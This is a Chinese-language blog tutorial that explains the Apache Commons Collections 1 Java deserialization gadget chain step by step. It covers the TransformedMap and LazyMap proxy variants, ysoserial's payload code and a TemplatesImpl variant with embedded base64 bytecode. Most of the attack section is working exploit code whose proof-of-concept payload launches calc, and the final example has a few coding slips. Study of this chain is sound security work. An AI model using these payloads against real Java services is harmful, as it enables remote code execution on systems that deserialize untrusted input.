![image](./../../imgg/CommonsCollections 1/image.png)

CommonsCollections 1

JAVA命令执行

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Main {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Method m = Runtime.class.getMethod("getRuntime");
        Runtime r = (Runtime)m.invoke(null);
        Method exec = Runtime.class.getMethod("exec",String.class);
        exec.invoke(r,"calc");
    }
}

首先需要利用getMethod去获取这个类的getRuntime方法,进而利用这个方法创建Runtime对象r,再同样用getMethod去获取exec方法,最后执行对象rexec方法即可

Runtime.getRuntime().exec("calc");
ProcessBuilder calc = new ProcessBuilder("calc");
calc.start();

预备知识

Transformer

接口Transformer,只有一个待实现的方法就是transform方法,这个方法的参数是一个对象

public interface Transformer {
    public Object transform(Object input);
}

一下是一些Transformer的实现类用来实现不同的TransformedMap类中key、value进行修改的功能。

TransformedMap

TransformedMap中封装了一个decorate方法,它是用来修饰Java中的标准数据结构Map,当向被修饰过的Map添加新元素时,它就会执行一个回调函数;这个回调并不是传统意义上的回调函数,而是执行一个实现了Transformer接口的对象里面的transform方法。

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调,当我们向outerMap中添加新元素时,它就会调用keyTransformervalueTransformer里面的transform方法

ConstantTransformer

ConstantTransformer有一个带参的构造函数,而参数类型是对象,当你传入一个对象后,它会在transform方法中再将这个对象返回

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;
}

它有一个带参构造函数,可以初始化时传入一个对象。并且实现了transform方法,当调用transform方法时直接将这个对象返回。就是将传入的对象constantToReturntransform方法中返回

InvokerTransformer

InvokerTransformer是实现RCE的关键类,它可以执行任意的方法。初始化时传入三个参数,第一个是要执行的方法名,第二个是方法需要传入的参数类型,第三个是方法需要传入的参数值。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

再看Transform方法,method.invoke(input, this.iArgs);可以看出需要利用 Java 反射机制获取想要执行的方法,然后调用transform方法时就可以通过invoke执行这个获取到的方法

public Object transform(Object input) {
    if (input == null) {
        return null;
 }
 try {
     Class cls = input.getClass();
     Method method = cls.getMethod(iMethodName, iParamTypes);
     return method.invoke(input, iArgs);}
    catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' does not exist");} 
    catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} 
    catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}
}

ChainedTransformer

前面的ConstantTransformerInvokerTransformer相配合,前者返回Runtime,后者执行其中exec即可实现rce。

ChainedTransformer它就是将内部多个实现了Transformer接口的类串在了一起,并且将前一个回调函数transform返回的结果,作为后一个回调函数transform的参数传入

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
        }
    return object;
}

整合实现rce

整个回调链逻辑为:创建一个存放Transformer类型的数组,里面包含两个对象,ConstantTransformer类初始化获取Runtime类对象并返回;InvokeTransformer类初始化获取exec方法并传入参数类型和值calc。将这个数组给ChainedTransformer类初始化对象,将ChainedTransformer对象作为keyTransformervalueTransformer对Map做一个修饰。当向修饰后的Map中添加新元素时,就会自动调用作为keyTransformervalueTransformerChainedTransformer对象中的transform方法,从而链式调用数组中Transformertransform方法,将前一个Transformer的返回值作为下一个Transformer的参数不断调用,从而执行calc系统命令弹出计算器

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1_1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            //Transformer是⼀个接⼝,只有⼀个待实现的⽅法transform,这里是创的一个数组,里面有两个元素
            new ConstantTransformer(Runtime.getRuntime()),
            //ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            //InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键
            //实例化InvokerTransformer时,三个参数:第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表
            //这里的transform内有一个参数input,它就是执行input对象的待执⾏的⽅法,也就是返回上面的Runtime对象
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        //ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        //TransformedMap⽤于对Map做⼀个修饰,对innerMap进⾏修饰,传出的outerMap即是修饰后的Map
        //TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个回调
        outerMap.put("L1mbo","goodd");
        //被修饰过的Map在添加新的元素时,执⾏回调
    }
}

这里是通过给Map添加新元素触发,但实际应该还是反序列化流触发链子,但 Java 序列化需要类实现Serializable接口,否则不能被序列化。Runtime类没有实现Serializable接口,Runtime.getRuntime()获取到的Runtime对象是不能被序列化的,这里就要用到反射机制了,反射通常是通过class方法生成的Class对象,Class实现了Serializable接口而可以被序列化。

Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
r.exec("calc");

改写Transformer数组:

Transformer[] transformers = new Transformer[] {
    // 获取Class对象,可以被序列化
    new ConstantTransformer(Runtime.class),
    // public Method getMethod(String name, Class<?>... parameterTypes)
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
    // public Object invoke(Object obj, Object... args)
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
    new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),};

此时需要一个类的readobject方法来触发transform,而实现一系列回调。即sun.reflect.annotation.AnnotationInvocationHandler,它的readObject方法如下

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Map.Entry var5 = (Map.Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }

}

它会遍历我们反序列化后的map,也就是TransformedMap.decorate修饰的map里的所有元素,并依次对它设置值,而在setValue的时候就会触发TransformedMap里面注册的ChainedTransformer对象中的transform方法,从而触发回调。

setValue类似put操作可以触发Transformer链的调用方法。所以需要创建一个AnnotationInvocationHandler对象,将修饰好的Map放进来。因为这个构造方法是私有的,所以需要利用反射来实例化。这个类构造函数有两个参数,第一个是Annotation子类,第二个参数是Map

要传入Retention.class,在执行setValue之前需要满足 if 判断才能进到setValue方法

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

满足if需要

  • AnnotationInvocationHandler构造函数第一个参数是Annotation子类且包含至少一个方法,假设为方法名为X
  • TransformedMap.decorate修饰的Map中有一个键名为X的元素

Retention.class就符合子类和至少一个方法的条件,方法叫value所以需要提前往Map中添加一个元素,它的键名为value,值随意

由于网络传输需要用字节流而不是字符流,就需要先ByteOutputStream创建字节数组缓存区,再创建对象的序列化流后用writeObject写入序列化流。
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

整合poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws Exception {
        // 1.创建数组,用于回调链
        Transformer[] transformers = new Transformer[]{
                // 获取对象
                new ConstantTransformer(Runtime.class),
                // 获取方法,将返回值传递给下一个作为参数
                // public Method getMethod(String name, Class<?>... parameterTypes)
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // public Object invoke(Object obj, Object... args)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };

        // 将链连接起来
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        // 放入键名为value的元素,符合if判断
        innerMap.put("value", "hello");

        // 修饰Map
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        // 通过反射创建实例
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        System.out.println("对象序列化成功!");
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
        System.out.println("对象反序列化成功!");
    }
}

这个POC只有在Java 8u71以前的版本中才能执行成功,Java 8u71以后的版本Java 官方修改了sun.reflect.annotation.AnnotationInvocationHandler 中的readObject函数,改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以后续对Map的操作都是基于这个新的LinkedHashMap对象。不对我们的Map进行setvalue,无法触发链子。新老版本改动

在ysoserial的代码中,没⽤TransformedMap,而是改用了了LazyMap,所以下面来说一说lazy

LazyMap

核心点在LazyMap#getLazyMap在get不存在的key时会尝试调用this.factory.transform方法。

LazyMapTransformedMap类似,都是对map做一个修饰,都来自于Common-Collections库,并继承AbstractMapDecorator

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在添加新元素的时候执行transform,也就是put一个新元素的时候;而LazyMap是在get方法中执行的transform,因为LazyMap的作用是“懒加载”,当它尝试get一个不存在的key时,它会调用factory.transform方法去获取一个值,因为会调用transform,从而触发漏洞,看看它的get方法:

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);###
        map.put(key, value);
        return value;
        }
    return map.get(key);
}

factory是

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

factorydecorate方法的第二个参数,也就是我们构造的恶意Transformer;之后的过程就和前面讲的一样了

也就是调用LazyMap中decorate方法,将恶意构造好的 Transformer 链作为第二个参数传入即可当 get 不到值的时候进行一系列调用

触发的话把TransformedMap改成LazyMap,把put改成get,就可以用lazymap实现cc1

如果想要在反序列化时触发,会稍微复杂一点,因为AnnotationInvocationHandler类中的readObject方法中并没有直接调用map中的get方法,但在AnnotationInvocationHandler类中的invoke方法中有调用到get

想要调用invoke就得用到动态代理

AnnotationInvocationHandler类实现了InvocationHandler接口,那它相当于就是一个动态代理类,那我们就可以通过Proxy的静态方法newProxyInstance去动态创建代理了,而这样就可以进入到invoke方法中。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
InvocationHandler handler = (InvocationHandler) obj;
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理后的对象为proxyMap,这里我们不能对它直接反序列化,因为这条链子的入口依然是AnnotationInvocationHandler类中的readObject方法,所以说我们再利用AnnotationInvocationHandler对这个proxyMap进行封装即可

handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);

完整的链子的思路:

首先是ObjectInputStream对象的readObject(),也就是对象流的反序列化,然后就是AnnotationInvocationHandler对象的readObject()方法,由于我们设置了代理,访问任意方法(readObject)后就会进入到AnnotationInvocationHandler对象中的invoke方法,然后调用LazyMap中的get方法,然后调用ChainedTransformer中的transform方法,然后调用ConstantTransformer中的transform方法,返回Runtime.class对象,然后调用InvokerTransformer中的transform方法,然后利用invoke方法获取到getMethod方法,得到getRuntime对象,最后执行里面的exec方法就好了

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc.exe" }),};
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        System.out.println("对象序列化成功!");
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
        System.out.println("对象反序列化成功!");
    }
}

LazyMap没解决CommonCollections1在Java高版本(8u71以后)中的使用问题

LazyMap的漏洞触发在getinvoke中,跟setValue无关,这也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject中有没有setValue没任何关系,主要它高版本会新建一个map对象,而没有用我们构造的那个map了

但是看一眼ysoserial中的poc,复杂的多

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

    public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 
        // arm with actual transformer chain 最后才将真正具有危害的Transformer数组设置进去

        return handler;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections1.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

ysoserial 先new ChainedTransformer假数组,最后再利用getDeclaredField获取私有方法iTransformers,把我们真正的Transformer数组设置进去。

在前面放Transformer[]假数组的原因是:使用了Proxy代理了被修饰的Map对象时,我们在任何地方执行Map的方法时,都会触发Proxy#invoke,从而执行命令弹出计算器。正常执行是没问题的,但是在调试时可能会弹两遍甚至是三遍计算器,这是因为调试器会在下面调用一些toString之类的方法,导致不经意间就触发了命令。ysoserial对此做出的处理就避免了本地生成序列化流的程序执行到命令。

cc1+TemplatesImpl

也就是用InvokerTransformer来调用newTransformer这个方法

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

import java.lang.reflect.Field;
import java.util.Base64;

public class CommonsCollections3_1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "L1mbo");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer [] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer",null,null)};
        Transformer transformersChain = new ChainedTransformer(transformers);
        
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
        
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        System.out.println("对象序列化成功!");
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
        System.out.println("对象反序列化成功!");
    }
}
最后修改:2024 年 09 月 19 日
如果觉得我的文章对你有用,请随意赞赏